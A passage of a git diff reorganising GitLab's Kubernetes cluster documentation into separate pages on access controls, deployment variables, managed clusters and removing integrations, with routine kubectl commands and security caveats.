- - Each project should have a unique namespace.
- - The project namespace is not necessarily the namespace of the secret, if
- you're using a secret with broader permissions, like the secret from `default`.
- - You should **not** use `default` as the project namespace.
- - If you or someone created a secret specifically for the project, usually
- with limited permissions, the secret's namespace and project namespace may
- be the same.
-
-1. Finally, click the **Create Kubernetes cluster** button.
-
-After a couple of minutes, your cluster is ready.
-
-#### Disable Role-Based Access Control (RBAC) (optional)
-
-When connecting a cluster via GitLab integration, you may specify whether the
-cluster is RBAC-enabled or not. This affects how GitLab interacts with the
-cluster for certain operations. If you did *not* check the **RBAC-enabled cluster**
-checkbox at creation time, GitLab assumes RBAC is disabled for your cluster
-when interacting with it. If so, you must disable RBAC on your cluster for the
-integration to work properly.
-
-![RBAC](img/rbac_v13_1.png)
-
-WARNING:
-Disabling RBAC means that any application running in the cluster,
-or user who can authenticate to the cluster, has full API access. This is a
-[security concern](index.md#security-implications), and may not be desirable.
-
-To effectively disable RBAC, global permissions can be applied granting full access:
-
-```shell
-kubectl create clusterrolebinding permissive-binding \
- --clusterrole=cluster-admin \
- --user=admin \
- --user=kubelet \
- --group=system:serviceaccounts
-```
+ - **Menu >** **{admin}** **Admin >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
+1. Select the name of the cluster you want to disable.
+1. Toggle **GitLab Integration** off (in gray).
+1. Click **Save changes**.
-## Enabling or disabling integration
+## Remove a cluster
-The Kubernetes cluster integration enables after you have successfully either created
-a new cluster or added an existing one. To disable Kubernetes cluster integration:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26815) in GitLab 12.6, you can remove cluster integrations and resources.
-1. Navigate to your:
- - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
- cluster.
- - Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
- - **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
-1. Click on the name of the cluster.
-1. Click the **GitLab Integration** toggle.
-1. Click **Save changes**.
+When you remove a cluster integration, you only remove the cluster relationship
+to GitLab, not the cluster. To remove the cluster itself, visit your cluster's
+GKE or EKS dashboard to do it from their UI or use `kubectl`.
-## Removing integration
+You need at least Maintainer [permissions](../../permissions.md) to your
+project or group to remove the integration with GitLab.
-To remove the Kubernetes cluster integration from your project, first navigate to the **Advanced Settings** tab of the cluster details page and either:
+When removing a cluster integration, you have two options:
-- Select **Remove integration**, to remove only the Kubernetes integration.
-- [From GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/26815), select
- **Remove integration and resources**, to also remove all related GitLab cluster resources (for
- example, namespaces, roles, and bindings) when removing the integration.
+- **Remove integration**: remove only the Kubernetes integration.
+- **Remove integration and resources**: remove the cluster integration and
+all GitLab cluster-related resources such as namespaces, roles, and bindings.
-When removing the cluster integration, note:
+To remove the Kubernetes cluster integration:
-- You need Maintainer [permissions](../../permissions.md) and above to remove a Kubernetes cluster
- integration.
-- When you remove a cluster, you only remove its relationship to GitLab, not the cluster itself. To
- remove the cluster, you can do so by visiting the GKE or EKS dashboard, or using `kubectl`.
+1. Go to your cluster details page.
+1. Select the **Advanced Settings** tab.
+1. Select either **Remove integration** or **Remove integration and resources**.
-## Learn more
+## Access controls
-To learn more on automatically deploying your applications,
-read about [Auto DevOps](../../../topics/autodevops/index.md).
+See [cluster access controls (RBAC or ABAC)](cluster_access.md).
## Troubleshooting
diff --git a/doc/user/project/clusters/cluster_access.md b/doc/user/project/clusters/cluster_access.md
new file mode 100644
index 00000000000..713a60b2dd0
--- /dev/null
+++ b/doc/user/project/clusters/cluster_access.md
@@ -0,0 +1,88 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Cluster access controls (RBAC or ABAC)
+
+> Restricted service account for deployment was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51716) in GitLab 11.5.
+
+When creating a cluster in GitLab, you are asked if you would like to create either:
+
+- A [Role-based access control (RBAC)](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
+ cluster, which is the GitLab default and recommended option.
+- An [Attribute-based access control (ABAC)](https://kubernetes.io/docs/reference/access-authn-authz/abac/) cluster.
+
+When GitLab creates the cluster,
+a `gitlab` service account with `cluster-admin` privileges is created in the `default` namespace
+to manage the newly created cluster.
+
+Helm also creates additional service accounts and other resources for each
+installed application. Consult the documentation of the Helm charts for each application
+for details.
+
+If you are [adding an existing Kubernetes cluster](add_remove_clusters.md#add-existing-cluster),
+ensure the token of the account has administrator privileges for the cluster.
+
+The resources created by GitLab differ depending on the type of cluster.
+
+## Important notes
+
+Note the following about access controls:
+
+- Environment-specific resources are only created if your cluster is
+ [managed by GitLab](index.md#gitlab-managed-clusters).
+- If your cluster was created before GitLab 12.2, it uses a single namespace for all project
+ environments.
+
+## RBAC cluster resources
+
+GitLab creates the following resources for RBAC clusters.
+
+| Name | Type | Details | Created when |
+|:----------------------|:---------------------|:-----------------------------------------------------------------------------------------------------------|:-----------------------|
+| `gitlab` | `ServiceAccount` | `default` namespace | Creating a new cluster |
+| `gitlab-admin` | `ClusterRoleBinding` | [`cluster-admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles) roleRef | Creating a new cluster |
+| `gitlab-token` | `Secret` | Token for `gitlab` ServiceAccount | Creating a new cluster |
+| Environment namespace | `Namespace` | Contains all environment-specific resources | Deploying to a cluster |
+| Environment namespace | `ServiceAccount` | Uses namespace of environment | Deploying to a cluster |
+| Environment namespace | `Secret` | Token for environment ServiceAccount | Deploying to a cluster |
+| Environment namespace | `RoleBinding` | [`admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles) roleRef | Deploying to a cluster |
+
+The environment namespace `RoleBinding` was
+[updated](https://gitlab.com/gitlab-org/gitlab/-/issues/31113) in GitLab 13.6
+to `admin` roleRef. Previously, the `edit` roleRef was used.
+
+## ABAC cluster resources
+
+GitLab creates the following resources for ABAC clusters.
+
+| Name | Type | Details | Created when |
+|:----------------------|:---------------------|:-------------------------------------|:---------------------------|
+| `gitlab` | `ServiceAccount` | `default` namespace | Creating a new cluster |
+| `gitlab-token` | `Secret` | Token for `gitlab` ServiceAccount | Creating a new cluster |
+| Environment namespace | `Namespace` | Contains all environment-specific resources | Deploying to a cluster |
+| Environment namespace | `ServiceAccount` | Uses namespace of environment | Deploying to a cluster |
+| Environment namespace | `Secret` | Token for environment ServiceAccount | Deploying to a cluster |
+
+## Security of runners
+
+Runners have the [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#the-privileged-mode)
+enabled by default, which allows them to execute special commands and run
+Docker in Docker. This functionality is needed to run some of the
+[Auto DevOps](../../../topics/autodevops/index.md)
+jobs. This implies the containers are running in privileged mode and you should,
+therefore, be aware of some important details.
+
+The privileged flag gives all capabilities to the running container, which in
+turn can do almost everything that the host can do. Be aware of the
+inherent security risk associated with performing `docker run` operations on
+arbitrary images as they effectively have root access.
+
+If you don't want to use a runner in privileged mode, either:
+
+- Use shared runners on GitLab.com. They don't have this security issue.
+- Set up your own runners using the configuration described at
+[shared runners](../../gitlab_com/index.md#shared-runners) using
+[`docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html).
diff --git a/doc/user/project/clusters/deploy_to_cluster.md b/doc/user/project/clusters/deploy_to_cluster.md
new file mode 100644
index 00000000000..fdd65d70242
--- /dev/null
+++ b/doc/user/project/clusters/deploy_to_cluster.md
@@ -0,0 +1,141 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Deploy to a Kubernetes cluster
+
+A Kubernetes cluster can be the destination for a deployment job. If
+
+- The cluster is integrated with GitLab, special
+ [deployment variables](#deployment-variables) are made available to your job
+ and configuration is not required. You can immediately begin interacting with
+ the cluster from your jobs using tools such as `kubectl` or `helm`.
+- You don't use the GitLab cluster integration, you can still deploy to your
+ cluster. However, you must configure Kubernetes tools yourself
+ using [CI/CD variables](../../../ci/variables/index.md#custom-cicd-variables)
+ before you can interact with the cluster from your jobs.
+
+## Deployment variables
+
+Deployment variables require a valid [Deploy Token](../deploy_tokens/index.md) named
+[`gitlab-deploy-token`](../deploy_tokens/index.md#gitlab-deploy-token), and the
+following command in your deployment job script, for Kubernetes to access the registry:
+
+- Using Kubernetes 1.18+:
+
+ ```shell
+ kubectl create secret docker-registry gitlab-registry --docker-server="$CI_REGISTRY" --docker-username="$CI_DEPLOY_USER" --docker-password="$CI_DEPLOY_PASSWORD" --docker-email="$GITLAB_USER_EMAIL" -o yaml --dry-run=client | kubectl apply -f -
+ ```
+
+- Using Kubernetes <1.18:
+
+ ```shell
+ kubectl create secret docker-registry gitlab-registry --docker-server="$CI_REGISTRY" --docker-username="$CI_DEPLOY_USER" --docker-password="$CI_DEPLOY_PASSWORD" --docker-email="$GITLAB_USER_EMAIL" -o yaml --dry-run | kubectl apply -f -
+ ```
+
+The Kubernetes cluster integration exposes these
+[deployment variables](../../../ci/variables/index.md#deployment-variables) in the
+GitLab CI/CD build environment to deployment jobs. Deployment jobs have
+[defined a target environment](../../../ci/environments/index.md).
+
+| Deployment Variable | Description |
+|----------------------------|-------------|
+| `KUBE_URL` | Equal to the API URL. |
+| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](cluster_access.md). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. |
+| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. |
+| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. |
+| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. |
+| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely need only this variable. This variable name is also automatically picked up by `kubectl` so you don't need to reference it explicitly if using `kubectl`. |
+| `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, this variable can be used to set a domain per cluster. See [cluster domains](gitlab_managed_clusters.md#base-domain) for more information. |
+
+## Custom namespace
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 12.6.
+> - An option to use project-wide namespaces [was added](https://gitlab.com/gitlab-org/gitlab/-/issues/38054) in GitLab 13.5.
+
+The Kubernetes integration provides a `KUBECONFIG` with an auto-generated namespace
+to deployment jobs. It defaults to using project-environment specific namespaces
+of the form `<prefix>-<environment>`, where `<prefix>` is of the form
+`<project_name>-<project_id>`. To learn more, read [Deployment variables](#deployment-variables).
+
+You can customize the deployment namespace in a few ways:
+
+- You can choose between a **namespace per [environment](../../../ci/environments/index.md)**
+ or a **namespace per project**. A namespace per environment is the default and recommended
+ setting, as it prevents the mixing of resources between production and non-production environments.
+- When using a project-level cluster, you can additionally customize the namespace prefix.
+ When using namespace-per-environment, the deployment namespace is `<prefix>-<environment>`,
+ but otherwise just `<prefix>`.
+- For **non-managed** clusters, the auto-generated namespace is set in the `KUBECONFIG`,
+ but the user is responsible for ensuring its existence. You can fully customize
+ this value using
+ [`environment:kubernetes:namespace`](../../../ci/environments/index.md#configure-kubernetes-deployments)
+ in `.gitlab-ci.yml`.
+
+When you customize the namespace, existing environments remain linked to their current
+namespaces until you [clear the cluster cache](gitlab_managed_clusters.md#clearing-the-cluster-cache).
+
+### Protecting credentials
+
+By default, anyone who can create a deployment job can access any CI/CD variable in
+an environment's deployment job. This includes `KUBECONFIG`, which gives access to
+any secret available to the associated service account in your cluster.
+To keep your production credentials safe, consider using
+[protected environments](../../../ci/environments/protected_environments.md),
+combined with *one* of the following:
+
+- A GitLab-managed cluster and namespace per environment.
+- An environment-scoped cluster per protected environment. The same cluster
+ can be added multiple times with multiple restricted service accounts.
+
+## Web terminals for Kubernetes clusters
+
+> Introduced in GitLab 8.15.
+
+The Kubernetes integration adds [web terminal](../../../ci/environments/index.md#web-terminals)
+support to your [environments](../../../ci/environments/index.md). This is based
+on the `exec` functionality found in Docker and Kubernetes, so you get a new
+shell session in your existing containers. To use this integration, you
+should deploy to Kubernetes using the deployment variables above, ensuring any
+deployments, replica sets, and pods are annotated with:
+
+- `app.gitlab.com/env: $CI_ENVIRONMENT_SLUG`
+- `app.gitlab.com/app: $CI_PROJECT_PATH_SLUG`
+
+`$CI_ENVIRONMENT_SLUG` and `$CI_PROJECT_PATH_SLUG` are the values of
+the CI/CD variables.
+
+You must be the project owner or have `maintainer` permissions to use terminals.
+Support is limited to the first container in the first pod of your environment.
+
+## Troubleshooting
+
+Before the deployment jobs starts, GitLab creates the following specifically for
+the deployment job:
+
+- A namespace.
+- A service account.
+
+However, sometimes GitLab cannot create them. In such instances, your job can fail with the message:
+
+```plaintext
+This job failed because the necessary resources were not successfully created.
+```
+
+To find the cause of this error when creating a namespace and service account, check the [logs](../../../administration/logs.md#kuberneteslog).
+
+Reasons for failure include:
+
+- The token you gave GitLab does not have [`cluster-admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles)
+ privileges required by GitLab.
+- Missing `KUBECONFIG` or `KUBE_TOKEN` deployment variables. To be passed to your job, they must have a matching
+ [`environment:name`](../../../ci/environments/index.md). If your job has no
+ `environment:name` set, the Kubernetes credentials are not passed to it.
+
+NOTE:
+Project-level clusters upgraded from GitLab 12.0 or older may be configured
+in a way that causes this error. Ensure you deselect the
+[GitLab-managed cluster](gitlab_managed_clusters.md) option if you want to manage
+namespaces and service accounts yourself.
diff --git a/doc/user/project/clusters/gitlab_managed_clusters.md b/doc/user/project/clusters/gitlab_managed_clusters.md
new file mode 100644
index 00000000000..77921ec1dff
--- /dev/null
+++ b/doc/user/project/clusters/gitlab_managed_clusters.md
@@ -0,0 +1,102 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GitLab-managed clusters
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 11.5.
+> - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11.
+
+You can choose to allow GitLab to manage your cluster for you. If your cluster
+is managed by GitLab, resources for your projects are automatically created. See
+the [Access controls](add_remove_clusters.md#access-controls) section for
+details about the created resources.
+
+If you choose to manage your own cluster, project-specific resources aren't created
+automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you must
+explicitly provide the `KUBE_NAMESPACE` [deployment variable](deploy_to_cluster.md#deployment-variables)
+for your deployment jobs to use. Otherwise, a namespace is created for you.
+
+WARNING:
+Be aware that manually managing resources that have been created by GitLab, like
+namespaces and service accounts, can cause unexpected errors. If this occurs, try
+[clearing the cluster cache](#clearing-the-cluster-cache).
+
+## Clearing the cluster cache
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31759) in GitLab 12.6.
+
+If you allow GitLab to manage your cluster, GitLab stores a cached
+version of the namespaces and service accounts it creates for your projects. If you
+modify these resources in your cluster manually, this cache can fall out of sync with
+your cluster. This can cause deployment jobs to fail.
+
+To clear the cache:
+
+1. Navigate to your project's **Infrastructure > Kubernetes clusters** page, and select your cluster.
+1. Expand the **Advanced settings** section.
+1. Click **Clear cluster cache**.
+
+## Base domain
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24580) in GitLab 11.8.
+
+Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an deployment variable.
+If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different
+stages. For example, Auto Review Apps and Auto Deploy.
+
+The domain should have a wildcard DNS configured to the Ingress IP address.
+You can either:
+
+- Create an `A` record that points to the Ingress IP address with your domain provider.
+- Enter a wildcard DNS address using a service such as `nip.io` or `xip.io`. For example, `192.168.1.1.xip.io`.
+
+To determine the external Ingress IP address, or external Ingress hostname:
+
+- *If the cluster is on GKE*:
+ 1. Click the **Google Kubernetes Engine** link in the **Advanced settings**,
+ or go directly to the [Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/).
+ 1. Select the proper project and cluster.
+ 1. Click **Connect**
+ 1. Execute the `gcloud` command in a local terminal or using the **Cloud Shell**.
+
+- *If the cluster is not on GKE*: Follow the specific instructions for your
+ Kubernetes provider to configure `kubectl` with the right credentials.
+ The output of the following examples show the external endpoint of your
+ cluster. This information can then be used to set up DNS entries and forwarding
+ rules that allow external access to your deployed applications.
+
+Depending an your Ingress, the external IP address can be retrieved in various ways.
+This list provides a generic solution, and some GitLab-specific approaches:
+
+- In general, you can list the IP addresses of all load balancers by running:
+
+ ```shell
+ kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} '
+ ```
+
+- If you installed Ingress using the **Applications**, run:
+
+ ```shell
+ kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}'
+ ```
+
+- Some Kubernetes clusters return a hostname instead, like
+ [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run:
+
+ ```shell
+ kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}'
+ ```
+
+ If you use EKS, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/)
+ is also created, which incurs additional AWS costs.
+
+- Istio/Knative uses a different command. Run:
+
+ ```shell
+ kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} '
+ ```
+
+If you see a trailing `%` on some Kubernetes versions, do not include it.
diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md
index 8dd8ed52dd7..a0efea267f0 100644
--- a/doc/user/project/clusters/index.md
+++ b/doc/user/project/clusters/index.md
@@ -1,6 +1,6 @@
---
-stage: Monitor
-group: Monitor
+stage: Configure
+group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -12,35 +12,30 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/39840) in
> GitLab 11.11 for [instances](../../instance/clusters/index.md).
-Using the GitLab project Kubernetes integration, you can:
-
-- Use [Review Apps](../../../ci/review_apps/index.md).
-- Run [pipelines](../../../ci/pipelines/index.md).
-- [Deploy](#deploying-to-a-kubernetes-cluster) your applications.
-- Detect and [monitor Kubernetes](#monitoring-your-kubernetes-cluster).
-- Use it with [Auto DevOps](#auto-devops).
-- Use [Web terminals](#web-terminals).
-- Use [Deploy Boards](#deploy-boards).
-- Use [Canary Deployments](#canary-deployments). **(PREMIUM)**
-- Use [deployment variables](#deployment-variables).
-- Use [role-based or attribute-based access controls](add_remove_clusters.md#access-controls).
-- View [Logs](#viewing-pod-logs).
-- Run serverless workloads on [Kubernetes with Knative](serverless/index.md).
+We offer extensive integrations to help you connect and manage your Kubernetes clusters from GitLab.
-Besides integration at the project level, Kubernetes clusters can also be
-integrated at the [group level](../../group/clusters/index.md) or
-[GitLab instance level](../../instance/clusters/index.md).
+Read through this document to get started.
-To view your project level Kubernetes clusters, navigate to **Infrastructure > Kubernetes clusters**
-from your project. On this page, you can [add a new cluster](#adding-and-removing-clusters)
-and view information about your existing clusters, such as:
+## Clusters infrastructure
-- Nodes count.
-- Rough estimates of memory and CPU usage.
+Use [Infrastructure as Code](../../infrastructure) to create and manage your clusters with the GitLab integration with Terraform.
+
+## Benefit from the GitLab-Kubernetes integration
+
+Using the GitLab-Kubernetes integration, you can benefit of GitLab
+features such as:
-## Setting up
+- Create [CI/CD Pipelines](../../../ci/pipelines/index.md) to build, test, and deploy to your cluster.
+- Use [Auto DevOps](#auto-devops) to automate the CI/CD process.
+- Use [role-based or attribute-based access controls](cluster_access.md).
+- Run serverless workloads on [Kubernetes with Knative](serverless/index.md).
+- Connect GitLab to in-cluster applications using [cluster integrations](../../clusters/integrations.md).
+- Use [Deploy Boards](../deploy_boards.md) to see the health and status of each CI [environment](../../../ci/environments/index.md) running on your Kubernetes cluster.
+- Use [Canary deployments](../canary_deployments.md) to update only a portion of your fleet with the latest version of your application.
+- View your [Kubernetes podlogs](kubernetes_pod_logs.md) directly in GitLab.
+- Connect to your cluster through GitLab [web terminals](deploy_to_cluster.md#web-terminals-for-kubernetes-clusters).
-### Supported cluster versions
+## Supported cluster versions
GitLab is committed to support at least two production-ready Kubernetes minor
versions at any given time. We regularly review the versions we support, and
@@ -48,7 +43,7 @@ provide a three-month deprecation period before we remove support of a specific
version. The range of supported versions is based on the evaluation of:
- The versions supported by major managed Kubernetes providers.
-- The versions [supported by the Kubernetes community](https://kubernetes.io/docs/setup/release/version-skew-policy/#supported-versions).
+- The versions [supported by the Kubernetes community](https://kubernetes.io/releases/version-skew-policy/#supported-versions).
GitLab supports the following Kubernetes versions, and you can upgrade your
Kubernetes version to any supported version at any time:
@@ -61,88 +56,34 @@ Kubernetes version to any supported version at any time:
Some GitLab features may support versions outside the range provided here.
-NOTE:
-[GKE Cluster creation](add_remove_clusters.md#create-new-cluster) by GitLab is currently not supported for Kubernetes 1.19+. For these versions you can create the cluster through GCP, then [Add existing cluster](add_remove_clusters.md#add-existing-cluster). See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/331922) for more information.
-
-### Adding and removing clusters
-
-See [Adding and removing Kubernetes clusters](add_remove_clusters.md) for details on how
-to:
-
-- Create a cluster in Google Cloud Platform (GCP) or Amazon Elastic Kubernetes Service
- (EKS) using the GitLab UI.
-- Add an integration to an existing cluster from any Kubernetes platform.
-
-### Multiple Kubernetes clusters
-
-> - Introduced in [GitLab Premium](https://about.gitlab.com/pricing/) 10.3
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35094) to GitLab Free in 13.2.
+## Add and remove clusters
-You can associate more than one Kubernetes cluster to your
-project. That way you can have different clusters for different environments,
-like development, staging, production, and so on.
-Add another cluster, like you did the first time, and make sure to
-[set an environment scope](#setting-the-environment-scope) that
-differentiates the new cluster from the rest.
+You can create new or add existing clusters to GitLab:
-#### Setting the environment scope
+- On the project-level, to have a cluster dedicated to a project.
+- On the [group level](../../group/clusters/index.md), to use the same cluster across multiple projects within your group.
+- On the [instance level](../../instance/clusters/index.md), to use the same cluster across multiple groups and projects. **(FREE SELF)**
-When adding more than one Kubernetes cluster to your project, you need to differentiate
-them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the
-[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) work.
+To create new clusters, use one of the following methods:
-The default environment scope is `*`, which means all jobs, regardless of their
-environment, use that cluster. Each scope can be used only by a single cluster
-in a project, and a validation error occurs if otherwise. Also, jobs that don't
-have an environment keyword set can't access any cluster.
+- [Infrastructure as Code](../../infrastructure/index.md) (**recommended**).
+- [Cluster certificates](add_remove_clusters.md) (**deprecated**).
-For example, let's say the following Kubernetes clusters exist in a project:
+You can also [add existing clusters](add_existing_cluster.md) to GitLab.
-| Cluster | Environment scope |
-| ----------- | ----------------- |
-| Development | `*` |
-| Production | `production` |
+## View your clusters
-And the following environments are set in
-[`.gitlab-ci.yml`](../../../ci/yaml/README.md):
-
-```yaml
-stages:
- - test
- - deploy
-
-test:
- stage: test
- script: sh test
-
-deploy to staging:
- stage: deploy
- script: make deploy
- environment:
- name: staging
- url: https://staging.example.com/
-
-deploy to production:
- stage: deploy
- script: make deploy
- environment:
- name: production
- url: https://example.com/
-```
-
-The results:
+To view your project-level Kubernetes clusters, to go **Infrastructure > Kubernetes clusters**
+from your project. On this page, you can add a new cluster
+and view information about your existing clusters, such as:
-- The Development cluster details are available in the `deploy to staging`
- job.
-- The production cluster details are available in the `deploy to production`
- job.
-- No cluster details are available in the `test` job because it doesn't
- define any environment.
+- Nodes count.
+- Rough estimates of memory and CPU usage.
## Configuring your Kubernetes cluster
-After [adding a Kubernetes cluster](add_remove_clusters.md) to GitLab, read this section that covers
-important considerations for configuring Kubernetes clusters with GitLab.
+Use the [GitLab Kubernetes Agent](../../clusters/agent/index.md) to safely
+configure your clusters. Otherwise, there are [security implications](#security-implications).
### Security implications
@@ -155,103 +96,15 @@ functionalities needed to successfully build and deploy a containerized
application. Bear in mind that the same credentials are used for all the
applications running on the cluster.
-### GitLab-managed clusters
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 11.5.
-> - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11.
-
-You can choose to allow GitLab to manage your cluster for you. If your cluster
-is managed by GitLab, resources for your projects are automatically created. See
-the [Access controls](add_remove_clusters.md#access-controls) section for
-details about the created resources.
-
-If you choose to manage your own cluster, project-specific resources aren't created
-automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you must
-explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables)
-for your deployment jobs to use. Otherwise, a namespace is created for you.
-
-#### Important notes
-
-Be aware that manually managing resources that have been created by GitLab, like
-namespaces and service accounts, can cause unexpected errors. If this occurs, try
-[clearing the cluster cache](#clearing-the-cluster-cache).
-
-#### Clearing the cluster cache
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31759) in GitLab 12.6.
-
-If you allow GitLab to manage your cluster, GitLab stores a cached
-version of the namespaces and service accounts it creates for your projects. If you
-modify these resources in your cluster manually, this cache can fall out of sync with
-your cluster. This can cause deployment jobs to fail.
-
-To clear the cache:
-
-1. Navigate to your project's **Infrastructure > Kubernetes clusters** page, and select your cluster.
-1. Expand the **Advanced settings** section.
-1. Click **Clear cluster cache**.
-
-### Base domain
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24580) in GitLab 11.8.
-
-Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an deployment variable.
-If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different
-stages. For example, Auto Review Apps and Auto Deploy.
-
-The domain should have a wildcard DNS configured to the Ingress IP address.
-You can either:
-
-- Create an `A` record that points to the Ingress IP address with your domain provider.
-- Enter a wildcard DNS address using a service such as `nip.io` or `xip.io`. For example, `192.168.1.1.xip.io`.
-
-To determine the external Ingress IP address, or external Ingress hostname:
-
-- *If the cluster is on GKE*:
- 1. Click the **Google Kubernetes Engine** link in the **Advanced settings**,
- or go directly to the [Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/).
- 1. Select the proper project and cluster.
- 1. Click **Connect**
- 1. Execute the `gcloud` command in a local terminal or using the **Cloud Shell**.
-
-- *If the cluster is not on GKE*: Follow the specific instructions for your
- Kubernetes provider to configure `kubectl` with the right credentials.
- The output of the following examples show the external endpoint of your
- cluster. This information can then be used to set up DNS entries and forwarding
- rules that allow external access to your deployed applications.
-
-Depending an your Ingress, the external IP address can be retrieved in various ways.
-This list provides a generic solution, and some GitLab-specific approaches:
-
-- In general, you can list the IP addresses of all load balancers by running:
-
- ```shell
- kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} '
- ```
-
-- If you installed Ingress using the **Applications**, run:
-
- ```shell
- kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}'
- ```
-
-- Some Kubernetes clusters return a hostname instead, like
- [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run:
-
- ```shell
- kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}'
- ```
-
- If you use EKS, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/)
- is also created, which incurs additional AWS costs.
+## Multiple Kubernetes clusters
-- Istio/Knative uses a different command. Run:
+See how to associate [multiple Kubernetes clusters](multiple_kubernetes_clusters.md)
+with your GitLab project.
- ```shell
- kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} '
- ```
+## Cluster integrations
-If you see a trailing `%` on some Kubernetes versions, do not include it.
+See the available [cluster integrations](../../clusters/integrations.md)
+to integrate third-party applications with your clusters through GitLab.
## Cluster management project
@@ -259,180 +112,18 @@ Attach a [Cluster management project](../../clusters/management_project.md)
to your cluster to manage shared resources requiring `cluster-admin` privileges for
installation, such as an Ingress controller.
-## Auto DevOps
+## GitLab-managed clusters
-Auto DevOps automatically detects, builds, tests, deploys, and monitors your
-applications.
+See how to allow [GitLab to manage your cluster for you](gitlab_managed_clusters.md).
-To make full use of Auto DevOps (Auto Deploy, Auto Review Apps, and
-Auto Monitoring) the Kubernetes project integration must be enabled. However,
-Kubernetes clusters can be used without Auto DevOps.
+## Auto DevOps
-[Read more about Auto DevOps](../../../topics/autodevops/index.md).
+You can use [Auto DevOps](../../../topics/autodevops/index.md) to automatically
+detect, build, test, deploy, and monitor your applications.
## Deploying to a Kubernetes cluster
-A Kubernetes cluster can be the destination for a deployment job. If
-
-- The cluster is integrated with GitLab, special
- [deployment variables](#deployment-variables) are made available to your job
- and configuration is not required. You can immediately begin interacting with
- the cluster from your jobs using tools such as `kubectl` or `helm`.
